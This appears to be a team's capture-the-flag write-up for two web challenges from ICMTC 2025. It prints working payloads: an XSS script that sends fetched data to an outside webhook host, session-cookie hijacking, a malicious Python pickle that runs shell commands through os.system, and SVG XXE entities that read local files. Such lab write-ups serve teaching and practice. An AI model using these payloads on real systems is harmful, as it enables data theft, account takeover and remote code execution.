# ICMTC 2025 (Pre Qualification Round)
# 
# SafeFile - Web Challenge
> * Category: Web
> * Points: Medium
> * Description:
> * This challenge simulates a file storage service where privacy is key. Users can upload .txt files but cannot access them directly. The goal is to exploit the system and retrieve the flag located at /app/flag.txt.
First, I found a very simple registration and login form. As usual, I registered an account and began exploring the web application.

Then I found five tabs:
> Dashboard - allows uploading files (only .txt files are accepted)
> Search - lets me search for files I've uploaded
> Report - provides a form to send feedback to the admin
> Profile and Logout - nothing particularly useful there
>
At first, I tried uploading several files with different extensions, but all uploads failed except for .txt files. So I moved on to explore the admin panel.

The report page had a prompt saying 'Enter your message to the admin'. That caught my attention - it seemed like the admin might actually interact with whatever message I submitted.
So I thought, why not surprise the admin with an XSS payload that could retrieve the flag or leak something useful?
I spun up my webhook listener and submitted the following payload:
```
<script>
fetch("/uploads/flag.txt")
.then(r => r.text())
.then(t => fetch("https://webhook.site/e71f6a63-1e9f-4064-b712-d373c31f1759?flag=" + btoa(t)))
</script>
```

Once the admin received the payload, I didn't just get the flag - I got something even better: access to the admin session itself.
This gave me full access to the admin panel, including features that were previously hidden, like file management and a scheduled task executor


So, I replaced my user session cookie with the powerful session cookie

And suddenly, I found all my previous failed attempts - now visible in my admin panel - along with traces of multiple vulnerabilities I had tried to exploit earlier

Hmm… a script scheduler! Let's try executing this Linux command

This command copies the contents of the flag (whose location we already know) to a path we do have access to - the uploads directory.
`cat /app/flag.txt > /app/uploads/flag_dump.txt`

But :)

But it threw an 'Incorrect padding' error. That hinted the input was being Base64-decoded before execution.
So I adapted - I encoded my command in Base64 and submitted it again.

But…. :-(

However, this time it threw a completely different error - one I had never seen before: pickle data was truncated.
That was my cue to dig deeper. I started researching what pickle is and quickly realized it's a Python serialization format - and more importantly, it's vulnerable to arbitrary code execution if user input is deserialized unsafely
So I wrote a Python script to craft a malicious pickle payload that would execute my command, and then encode it in Base64 - the format the site expected.
This allowed me to inject a payload that the scheduler would deserialize and execute
```
import os
import pickle
import base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('cat /app/flag.txt > /app/uploads/flag_dump.txt',))
payload = pickle.dumps(Exploit())
b64_payload = base64.b64encode(payload)
print(b64_payload.decode())
```


and …

wait a minute ……


And finally - the flag came back to us ;)
---
# Kiddie Upload - Web Challenge
* Category: Web
* Points: Medium
* Description:
* This is a straightforward challenge to assess how an attacker can abuse an unknown upload function to get the contents of /app/flag.txt.
* Hint: SVG is accepted
This was the easiest challenge I've ever seen.
We had a simple form that allowed uploading any image.
As soon as I read the hint that SVG is allowed, I immediately recognized this as a classic XXE (XML External Entity) vulnerability opportunity.
First, I uploaded a basic, harmless SVG image to test the upload functionality and confirm that SVG files were accepted

I tried injecting a basic XML External Entity in the SVG body
```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY flag SYSTEM "file:///app/flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text x="10" y="20">&flag;</text>
</svg>
```
> * Upload successful.
> * SVG renders on the page.
> * But: Description remained "No description found."
I realized that the server might not render SVG text directly but instead extract metadata from tags like <desc>, which are commonly used for accessibility and description purposes in SVGs.
So I modified the payload to place the entity inside a <desc> tag:
```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY flag SYSTEM "file:///app/flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="800">
<desc>&flag;</desc>
</svg>
```



Finally Thanks for Reading ;)
I also want to thank my team for our great teamwork. You can always reach us
https://www.linkedin.com/in/samira-gabr-a74a142b2/
https://www.linkedin.com/in/ahmed-allah-mohamed-53a60b232
https://www.linkedin.com/in/shadowvoidxking
https://medium.com/@0xhypatia
https://medium.com/@ShadowVoidXKing
https://medium.com/@0xv3n0m
https://medium.com/@nnouh4967